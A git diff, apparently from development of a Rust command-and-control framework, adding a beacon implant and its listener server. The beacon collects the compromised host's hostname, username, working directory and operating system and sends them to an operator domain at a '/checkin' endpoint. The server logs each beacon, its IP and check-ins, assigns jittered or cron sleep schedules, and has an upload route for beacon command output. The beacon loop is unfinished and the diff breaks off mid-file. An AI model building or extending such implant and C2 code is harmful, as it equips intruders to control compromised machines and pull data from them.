diff --git a/Cargo.lock b/Cargo.lock index e1bd808..d7400bc 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -329,6 +329,19 @@ dependencies = [ "syn 2.0.98", ] +[[package]] +name = "axum-msgpack" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd328722bb555cc4e7306591aae2d80be83b64c71b183b0e9dd9a16412dc55a" +dependencies = [ + "axum", + "hyper", + "mime", + "rmp-serde", + "serde", +] + [[package]] name = "axum-server" version = "0.7.1" @@ -545,6 +558,8 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5d3ad3122b0001c7f140cf4d605ef9a9e2c24d96ab0b4fb4347b76de2425f445" dependencies = [ + "serde", + "serde_json", "thiserror 1.0.69", ] @@ -2891,6 +2906,28 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "rmp" +version = "0.8.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "228ed7c16fa39782c3b3468e974aec2795e9089153cd08ee2e9aefb3613334c4" +dependencies = [ + "byteorder", + "num-traits", + "paste", +] + +[[package]] +name = "rmp-serde" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52e599a477cf9840e92f2cde9a7189e67b42c57532749bf90aea6ec10facd4db" +dependencies = [ + "byteorder", + "rmp", + "serde", +] + [[package]] name = "rpassword" version = "7.3.1" @@ -3122,18 +3159,27 @@ dependencies = [ [[package]] name = "serde" -version = "1.0.217" +version = "1.0.218" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70" +checksum = "e8dfc9d19bdbf6d17e22319da49161d5d0108e4188e8b680aef6299eed22df60" dependencies = [ "serde_derive", ] [[package]] -name = "serde_derive" -version = "1.0.217" +name = "serde_bytes" +version = "0.11.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0" +checksum = "387cc504cb06bb40a96c8e04e951fe01854cf6bc921053c954e4a606d9675c6a" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_derive" +version = "1.0.218" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f09503e191f4e797cb8aac08e9a4a4695c5edf6a2e70e376d961ddd5c969f82b" dependencies = [ "proc-macro2", "quote", @@ -3142,9 +3188,9 @@ dependencies = [ [[package]] name = "serde_json" -version = "1.0.138" +version = "1.0.139" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d434192e7da787e94a6ea7e9670b26a036d0ca41e0b7efb2676dd32bae872949" +checksum = "44f86c3acccc9c65b153fe1b85a3be07fe5515274ec9f0653b4a0875731c72a6" dependencies = [ "itoa", "memchr", @@ -3379,6 +3425,9 @@ name = "sparse-actions" version = "2.0.0" dependencies = [ "bindgen", + "chrono", + "serde", + "serde_bytes", ] [[package]] @@ -3387,8 +3436,10 @@ version = "0.7.0" dependencies = [ "async-trait", "bytes", + "cron", "futures", "http", + "http-body", "http-body-util", "hyper", "hyper-rustls", @@ -3397,8 +3448,11 @@ dependencies = [ "pcap-sys", "pin-project", "rand 0.9.0", + "rmp-serde", "rustls", "rustls-openssl", + "serde", + "serde_json", "simple_logger", "smoltcp", "sparse-actions", @@ -3414,13 +3468,16 @@ version = "2.0.0" dependencies = [ "anyhow", "axum", + "axum-msgpack", "axum-server", + "chrono", "futures", "rcgen", "rustls", "rustls-pki-types", "serde", "serde_json", + "sparse-actions", "sqlx", "tokio", "tokio-stream", @@ -3454,7 +3511,9 @@ dependencies = [ "rcgen", "rpassword", "rustls-pki-types", + "send_wrapper", "serde", + "serde_json", "sha2", "sparse-actions", "sparse-handler", diff --git a/sparse-actions/Cargo.toml b/sparse-actions/Cargo.toml index b9d2a31..f009571 100644 --- a/sparse-actions/Cargo.toml +++ b/sparse-actions/Cargo.toml @@ -4,6 +4,9 @@ edition = "2021" version.workspace = true [dependencies] +chrono = { version = "0.4.39", features = ["serde"] } +serde = { version = "1.0.218", features = ["derive"] } +serde_bytes = "0.11.15" [build-dependencies] bindgen = "0.69" diff --git a/sparse-actions/src/actions.rs b/sparse-actions/src/actions.rs new file mode 100644 index 0000000..ab03d65 --- /dev/null +++ b/sparse-actions/src/actions.rs @@ -0,0 +1 @@ +pub trait Action {} diff --git a/sparse-actions/src/lib.rs b/sparse-actions/src/lib.rs index 6761f1e..be8f8d9 100644 --- a/sparse-actions/src/lib.rs +++ b/sparse-actions/src/lib.rs @@ -3,3 +3,6 @@ pub mod payload_types { include!(concat!(std::env!("OUT_DIR"), "/bindings.rs")); } + +pub mod actions; +pub mod messages; diff --git a/sparse-actions/src/messages.rs b/sparse-actions/src/messages.rs new file mode 100644 index 0000000..587bfa8 --- /dev/null +++ b/sparse-actions/src/messages.rs @@ -0,0 +1,40 @@ +use std::path::PathBuf; + +use serde::{Deserialize, Serialize}; + +#[derive(Clone, Serialize, Deserialize)] +pub struct RegisterBeacon { + pub beacon_id: String, + pub template_id: u16, + pub cwd: PathBuf, + pub operating_system: String, + pub userent: String, + pub hostname: String, +} + +#[derive(Clone, Serialize, Deserialize)] +pub enum CronTimezone { + Utc, + Local, +} + +#[derive(Clone, Serialize, Deserialize)] +pub enum RuntimeConfig { + Oneshot, + Random { + interval_min: u64, + interval_max: u64, + }, + Regular { + interval: u64, + }, + Cron { + schedule: String, + timezone: CronTimezone, + }, +} + +#[derive(Clone, Serialize, Deserialize)] +pub struct BeaconConfig { + pub runtime_config: RuntimeConfig, +} diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index 70a2e51..ce232fd 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -8,7 +8,7 @@ publish = false hyper = { version = "1.6.0", features = ["client", "http1", "http2"] } smoltcp = { version = "0.12.0", default-features = false, features = ["async", "log", "medium-ethernet", "proto-ipv4", "proto-ipv4-fragmentation", "socket-raw", "socket-tcp", "std"] } thiserror = "2.0.11" -tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "tokio-macros"] } +tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"] } async-trait = "0.1.86" tracing = "0.1.41" rand = "0.9.0" @@ -27,6 +27,11 @@ http-body-util = "0.1.2" pcap-sys = { version = "0.1.0", path = "../pcap-sys" } sparse-actions = { version = "2.0.0", path = "../sparse-actions" } packets = { version = "0.1.0", path = "../packets" } +serde_json = "1.0.139" +serde = "1.0.217" +http-body = "1.0.1" +rmp-serde = "1.3.0" +cron = "0.15.0" [features] openssl = ["dep:rustls-openssl"] diff --git a/sparse-beacon/src/adapter.rs b/sparse-beacon/src/adapter.rs index b21f24e..6a56a42 100644 --- a/sparse-beacon/src/adapter.rs +++ b/sparse-beacon/src/adapter.rs @@ -26,7 +26,13 @@ pub struct BeaconInterface { pub trait BeaconAdapter { type Error: error::AdapterError + Send + Sync; + const OPERATING_SYSTEM: &'static str; + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec; fn networking_info(&self) -> Result>; + + async fn get_username(&self) -> Result>; + + async fn get_hostname(&self) -> Result>; } diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 9014a2f..495d114 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -52,6 +52,8 @@ where } } +pub type SClient = Client>, B>; + pub async fn obtain_https_client( adapter: &T, parameters: &Parameters, diff --git a/sparse-beacon/src/error.rs b/sparse-beacon/src/error.rs index 6dda5c3..ccb3114 100644 --- a/sparse-beacon/src/error.rs +++ b/sparse-beacon/src/error.rs @@ -29,4 +29,12 @@ where Rustls(#[from] rustls::Error), #[error("adapter error")] Adapter(#[from] T), + #[error("http error from server")] + SparseServerHttpError(http::StatusCode), + #[error("message pack encode error")] + RmpSerdeEncode(#[from] rmp_serde::encode::Error), + #[error("message pack decode error")] + RmpSerdeDecode(#[from] rmp_serde::decode::Error), + #[error("http error")] + Hyper(#[from] hyper::Error), } diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 08681c1..eb2aec9 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -1,11 +1,14 @@ use sparse_actions::payload_types::Parameters; -use http_body_util::{BodyExt, Empty}; -use hyper::Request; +use http_body_util::{BodyExt, Full}; +use hyper::{Request, Method}; + +use sparse_actions::messages; mod callback; mod socket; mod tcp; +mod params; pub mod adapter; pub mod error; @@ -19,6 +22,37 @@ pub fn install_rustls() { let _ = rustls::crypto::ring::default_provider().install_default(); } +pub async fn make_request( + client: &callback::SClient>, + uri: hyper::Uri, + req_body: Req +) -> Result> +where + A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, + Req: serde::Serialize + Clone + Send + Sync + 'static, + Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static, +{ + let mut body_buf = Vec::new(); + req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?; + + let req = Request::builder() + .method(Method::POST) + .uri(uri) + .header("content-type", "application/msgpack") + .body(Full::::from(body_buf))?; + + let resp = client.request(req).await?; + + if !resp.status().is_success() { + return Err(BeaconError::SparseServerHttpError(resp.status())); + } + + let body = resp.into_body(); + let body = body.collect().await?; + + rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into) +} + pub async fn run_beacon_step( host_adapter: A, params: Parameters, @@ -26,19 +60,54 @@ pub async fn run_beacon_step( where A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, { - let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; + let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string()); + let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string()); - for _ in 1..5 { - let req = Request::builder() - .uri("https://sparse.com/hidden_sparse/test".parse::()?) - .body(Empty::::new())?; - let resp = client.request(req).await?; + let mut config: messages::BeaconConfig = { + let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; - println!("{:?} {:?}", resp.version(), resp.status()); - let body = resp.into_body(); - let body = body.collect().await; - println!("{:?}", body); + dbg!(¶ms.beacon_identifier); + + make_request( + &client, + format!("https://{}/checkin", params::domain_name::(¶ms)?).parse()?, + messages::RegisterBeacon { + beacon_id: std::str::from_utf8(¶ms.beacon_identifier)?.to_owned(), + template_id: params.template_id, + cwd: std::env::current_dir()?, + operating_system: A::OPERATING_SYSTEM.to_string(), + userent: userent.clone(), + hostname: hostname.clone() + } + ).await? + }; + + loop { + // let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; + + use messages::RuntimeConfig as RC; + let target_wake_time = match &config.runtime_config { + RC::Oneshot => { break; }, + RC::Random { interval_min, interval_max } => {}, + RC::Regular { interval } => {}, + RC::Cron { schedule, timezone } => { + + } + }; } + // for _ in 1..5 { + // let req = Request::builder() + // .uri("https://sparse.com/hidden_sparse/test".parse::()?) + // .method() + // .body(Empty::::new())?; + // let resp = client.request(req).await?; + + // println!("{:?} {:?}", resp.version(), resp.status()); + // let body = resp.into_body(); + // let body = body.collect().await; + // println!("{:?}", body); + // } + Ok(()) } diff --git a/sparse-beacon/src/params.rs b/sparse-beacon/src/params.rs new file mode 100644 index 0000000..7d1f264 --- /dev/null +++ b/sparse-beacon/src/params.rs @@ -0,0 +1,12 @@ +use sparse_actions::payload_types::Parameters; + +use crate::adapter::BeaconAdapter; +use crate::error::BeaconError; + +pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError> +where + T: BeaconAdapter, +{ + std::str::from_utf8(¶ms.domain_name[..params.domain_name_length as usize]) + .map_err(Into::into) +} diff --git a/sparse-beacon/src/prelude.rs b/sparse-beacon/src/prelude.rs new file mode 100644 index 0000000..14f1cef --- /dev/null +++ b/sparse-beacon/src/prelude.rs @@ -0,0 +1,21 @@ +use sparse_actions::payload_types::Parameters; + +use crate::adapter::BeaconAdapter; +use crate::error::{AdapterError, BeaconError}; + +pub trait UsableParameters +where + T: BeaconAdapter, +{ + fn domain_name_str(&self) -> Result<&str, BeaconError>; +} + +impl UsableParameters for Parameters +where + T: BeaconAdapter, +{ + fn domain_name_str(&self) -> Result<&str, BeaconError> { + std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize]) + .map_err(Into::into) + } +} diff --git a/sparse-beacon/src/socket.rs b/sparse-beacon/src/socket.rs index fd4895f..ec3c279 100644 --- a/sparse-beacon/src/socket.rs +++ b/sparse-beacon/src/socket.rs @@ -25,8 +25,6 @@ impl RawSocket { let mtu = a_interface.mtu as usize + if cfg!(unix) { 14 } else { 0 }; - dbg!(promisc); - lower.set_promisc(promisc)?; lower.set_buffer_size(mtu as i32)?; lower.set_non_blocking(true)?; diff --git a/sparse-handler/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json b/sparse-handler/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json new file mode 100644 index 0000000..de80006 --- /dev/null +++ b/sparse-handler/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode\n FROM beacon_template t\n INNER JOIN beacon_config c ON c.config_id = t.config_id\n WHERE t.template_id = ?", + "describe": { + "columns": [ + { + "name": "mode", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "regular_interval", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "random_min_time", + "ordinal": 2, + "type_info": "Integer" + }, + { + "name": "random_max_time", + "ordinal": 3, + "type_info": "Integer" + }, + { + "name": "cron_schedule", + "ordinal": 4, + "type_info": "Text" + }, + { + "name": "cron_mode", + "ordinal": 5, + "type_info": "Text" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + true, + true, + true, + true, + true, + true + ] + }, + "hash": "04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e" +} diff --git a/sparse-handler/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json b/sparse-handler/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json new file mode 100644 index 0000000..ace25dc --- /dev/null +++ b/sparse-handler/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": "6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897" +} diff --git a/sparse-handler/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json b/sparse-handler/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json new file mode 100644 index 0000000..b00d4a7 --- /dev/null +++ b/sparse-handler/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_config c ON c.config_id = i.config_id\n WHERE i.beacon_id = ?\n UNION\n SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_template t ON i.template_id = t.template_id\n INNER JOIN beacon_config c ON t.config_id = c.config_id\n WHERE i.beacon_id = ?", + "describe": { + "columns": [ + { + "name": "mode", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "regular_interval", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "random_min_time", + "ordinal": 2, + "type_info": "Integer" + }, + { + "name": "random_max_time", + "ordinal": 3, + "type_info": "Integer" + }, + { + "name": "cron_schedule", + "ordinal": 4, + "type_info": "Text" + }, + { + "name": "cron_mode", + "ordinal": 5, + "type_info": "Text" + } + ], + "parameters": { + "Right": 2 + }, + "nullable": [ + true, + true, + true, + true, + true, + true + ] + }, + "hash": "bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3" +} diff --git a/sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json b/sparse-handler/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json similarity index 61% rename from sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json rename to sparse-handler/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json index 5fee44a..62a4208 100644 --- a/sparse-handler/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json +++ b/sparse-handler/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json @@ -1,36 +1,26 @@ { "db_name": "SQLite", - "query": "SELECT * FROM beacon_listener WHERE listener_id = ?", + "query": "SELECT port, domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?", "describe": { "columns": [ { - "name": "listener_id", + "name": "port", "ordinal": 0, "type_info": "Integer" }, - { - "name": "port", - "ordinal": 1, - "type_info": "Integer" - }, - { - "name": "public_ip", - "ordinal": 2, - "type_info": "Text" - }, { "name": "domain_name", - "ordinal": 3, + "ordinal": 1, "type_info": "Text" }, { "name": "certificate", - "ordinal": 4, + "ordinal": 2, "type_info": "Blob" }, { "name": "privkey", - "ordinal": 5, + "ordinal": 3, "type_info": "Blob" } ], @@ -38,13 +28,11 @@ "Right": 1 }, "nullable": [ - false, - false, false, false, false, false ] }, - "hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69" + "hash": "f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311" } diff --git a/sparse-handler/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json b/sparse-handler/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json new file mode 100644 index 0000000..2bc2685 --- /dev/null +++ b/sparse-handler/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_instance\n (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)\n VALUES\n (?, ?, ?, \"\", ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 7 + }, + "nullable": [] + }, + "hash": "fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd" +} diff --git a/sparse-handler/Cargo.toml b/sparse-handler/Cargo.toml index 956f213..c657061 100644 --- a/sparse-handler/Cargo.toml +++ b/sparse-handler/Cargo.toml @@ -15,5 +15,8 @@ serde = "1.0" serde_json = "1.0" axum-server = { version = "^0.7", features = ["tokio-rustls", "tls-rustls-no-provider"] } rustls = { version = "0.23", default-features = false, features = ["ring", "std"] } -rcgen = "0.13.2" +rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] } rustls-pki-types = "1.11.0" +axum-msgpack = "0.4.0" +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +chrono = { version = "0.4.39", features = ["serde"] } diff --git a/sparse-handler/src/error.rs b/sparse-handler/src/error.rs index 9ef5fd2..f4b2ae7 100644 --- a/sparse-handler/src/error.rs +++ b/sparse-handler/src/error.rs @@ -1,3 +1,8 @@ +use axum::{ + http::StatusCode, + response::{IntoResponse, Response}, +}; + #[derive(Debug)] pub enum Error { Generic(String), @@ -51,6 +56,12 @@ impl std::error::Error for Error { } } +impl IntoResponse for Error { + fn into_response(self) -> Response { + (StatusCode::INTERNAL_SERVER_ERROR, format!("{self}")).into_response() + } +} + impl std::str::FromStr for Error { type Err = Self; diff --git a/sparse-handler/src/lib.rs b/sparse-handler/src/lib.rs index ba67fee..944477f 100644 --- a/sparse-handler/src/lib.rs +++ b/sparse-handler/src/lib.rs @@ -1,18 +1,25 @@ use std::{ - collections::HashMap, - sync::{Arc, RwLock}, + collections::HashMap, net::SocketAddr, sync::{Arc, RwLock} }; -use axum::routing::{Router, get, post}; -use rcgen::{Certificate, CertificateParams, KeyPair}; +use rcgen::{CertificateParams, KeyPair}; use rustls::{RootCertStore, server::WebPkiClientVerifier}; use sqlx::SqlitePool; -use tokio::task::JoinHandle; +use tokio::{sync::broadcast, task::JoinHandle}; pub mod error; +mod router; + +#[derive(Clone)] +pub enum BeaconEvent { + NewBeacon(String), + Checkin(String) +} + pub struct BeaconListenerHandle { join_handle: JoinHandle<()>, + events_broadcast: broadcast::Sender, } impl BeaconListenerHandle { @@ -23,6 +30,10 @@ impl BeaconListenerHandle { pub fn abort(&self) { self.join_handle.abort() } + + pub fn event_subscribe(&self) -> broadcast::Receiver { + self.events_broadcast.subscribe() + } } #[derive(Clone, Default)] @@ -39,6 +50,7 @@ impl std::ops::Deref for BeaconListenerMap { pub async fn start_all_listeners( beacon_listener_map: BeaconListenerMap, db: SqlitePool, + beacon_event_broadcast: tokio::sync::broadcast::Sender:: ) -> Result<(), crate::error::Error> { rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls"); @@ -53,6 +65,7 @@ pub async fn start_all_listeners( beacon_listener_map.clone(), listener.listener_id, db.clone(), + beacon_event_broadcast.clone(), ) .await?; } @@ -60,15 +73,8 @@ pub async fn start_all_listeners( Ok(()) } -#[derive(Clone)] -struct ListenerState { - db: SqlitePool, -} - struct Listener { - listener_id: i64, port: i64, - public_ip: String, domain_name: String, certificate: Vec, privkey: Vec, @@ -78,6 +84,7 @@ pub async fn start_listener( beacon_listener_map: BeaconListenerMap, listener_id: i64, db: SqlitePool, + beacon_event_broadcast: tokio::sync::broadcast::Sender:: ) -> Result<(), crate::error::Error> { { let Ok(blm_handle) = beacon_listener_map.read() else { @@ -94,29 +101,15 @@ pub async fn start_listener( } let listener = sqlx::query_as!( Listener, - "SELECT * FROM beacon_listener WHERE listener_id = ?", + "SELECT port, domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?", listener_id ) .fetch_one(&db) .await?; - let app: Router<()> = Router::new() - .route( - "/register_beacon", - post(|| async { - tracing::info!("Beacon attempting to register"); - }), - ) - .route( - "/test", - get(|| async { - tracing::info!("Hello"); - "hi there" - }), - ) - .with_state(ListenerState { db }); + let sender = broadcast::Sender::new(128); - let hidden_app = Router::new().nest("/hidden_sparse", app); + let app = router::get_router(db, sender.clone()); let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone()); @@ -175,7 +168,7 @@ pub async fn start_listener( addr, axum_server::tls_rustls::RustlsConfig::from_config(Arc::new(tls_config)), ) - .serve(hidden_app.into_make_service()) + .serve(app.into_make_service_with_connect_info::()) .await; if let Err(e) = res { @@ -189,7 +182,7 @@ pub async fn start_listener( )); }; - blm_handle.insert(listener_id, BeaconListenerHandle { join_handle }); + blm_handle.insert(listener_id, BeaconListenerHandle { join_handle, events_broadcast: sender }); Ok(()) } diff --git a/sparse-handler/src/router.rs b/sparse-handler/src/router.rs new file mode 100644 index 0000000..9988535 --- /dev/null +++ b/sparse-handler/src/router.rs @@ -0,0 +1,149 @@ +use std::net::SocketAddr; + +use axum::{extract::{State, ConnectInfo}, routing::post, Router}; +use axum_msgpack::MsgPack; +use sqlx::SqlitePool; +use tokio::sync::broadcast; + +use sparse_actions::messages; + +use crate::{BeaconEvent, error}; + +#[derive(Clone)] +pub struct ListenerState { + db: SqlitePool, + event_publisher: broadcast::Sender, +} + +#[axum::debug_handler] +pub async fn handle_checkin( + State(state): State, + ConnectInfo(addr): ConnectInfo, + MsgPack(reg): MsgPack, +) -> Result, error::Error> { + struct DbBeaconConfig { + mode: Option, + regular_interval: Option, + random_min_time: Option, + random_max_time: Option, + cron_schedule: Option, + cron_mode: Option, + } + + use messages::{CronTimezone, RuntimeConfig as RC}; + + fn parse_db_config(rec: DbBeaconConfig) -> Option { + Some(match &*rec.mode? { + "single" => RC::Oneshot, + "regular" => RC::Regular { interval: rec.regular_interval? as u64 }, + "random" => RC::Random { + interval_min: rec.random_min_time? as u64, + interval_max: rec.random_max_time? as u64 + }, + "cron" => RC::Cron { + schedule: rec.cron_schedule?, + timezone: match &*rec.cron_mode? { + "utc" => CronTimezone::Utc, + "local" => CronTimezone::Local, + _ => None? + } + } , + _ => None? + }) + } + + tracing::info!("Beacon {} connecting from {addr}", ®.beacon_id); + + let current_beacon_reg = sqlx::query_as!( + DbBeaconConfig, + r"SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time, + c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode + FROM beacon_instance i + INNER JOIN beacon_config c ON c.config_id = i.config_id + WHERE i.beacon_id = ? + UNION + SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time, + c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode + FROM beacon_instance i + INNER JOIN beacon_template t ON i.template_id = t.template_id + INNER JOIN beacon_config c ON t.config_id = c.config_id + WHERE i.beacon_id = ?"r, + reg.beacon_id, + reg.beacon_id + ) + .fetch_optional(&state.db) + .await?; + + let current_beacon_reg = match current_beacon_reg { + Some(rec) => { + parse_db_config(rec) + }, + None => { + let ip = format!("{}", addr.ip()); + let cwd = reg + .cwd + .to_str() + .unwrap_or("(unknown)"); + sqlx::query!( + r#"INSERT INTO beacon_instance + (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname) + VALUES + (?, ?, ?, "", ?, ?, ?, ?)"#r, + reg.beacon_id, + reg.template_id, + ip, + cwd, + reg.operating_system, + reg.userent, + reg.hostname + ) + .execute(&state.db) + .await?; + + let rec = sqlx::query_as!( + DbBeaconConfig, + r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode + FROM beacon_template t + INNER JOIN beacon_config c ON c.config_id = t.config_id + WHERE t.template_id = ?", + reg.template_id + ) + .fetch_one(&state.db) + .await?; + + parse_db_config(rec) + } + }; + + let now = chrono::Utc::now(); + sqlx::query!( + r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r, + reg.beacon_id, + now + ) + .execute(&state.db) + .await?; + + let current_beacon_reg = current_beacon_reg + .ok_or(error::Error::Generic("could not load configuration".to_string()))?; + + Ok(MsgPack(messages::BeaconConfig { + runtime_config: current_beacon_reg + })) +} + +pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender) -> Router<()> { + Router::new() + .route( + "/checkin", + post(handle_checkin), + ) + .route( + "/upload/:beaconid/:commandid", + post(|| async { + tracing::info!("Hello"); + "hi there" + }), + ) + .with_state(ListenerState { db, event_publisher }) +} diff --git a/sparse-server/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json b/sparse-server/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json new file mode 100644 index 0000000..de80006 --- /dev/null +++ b/sparse-server/.sqlx/query-04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode\n FROM beacon_template t\n INNER JOIN beacon_config c ON c.config_id = t.config_id\n WHERE t.template_id = ?", + "describe": { + "columns": [ + { + "name": "mode", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "regular_interval", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "random_min_time", + "ordinal": 2, + "type_info": "Integer" + }, + { + "name": "random_max_time", + "ordinal": 3, + "type_info": "Integer" + }, + { + "name": "cron_schedule", + "ordinal": 4, + "type_info": "Text" + }, + { + "name": "cron_mode", + "ordinal": 5, + "type_info": "Text" + } + ], + "parameters": { + "Right": 1 + }, + "nullable": [ + true, + true, + true, + true, + true, + true + ] + }, + "hash": "04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e" +} diff --git a/sparse-server/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json b/sparse-server/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json new file mode 100644 index 0000000..ace25dc --- /dev/null +++ b/sparse-server/.sqlx/query-6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 2 + }, + "nullable": [] + }, + "hash": 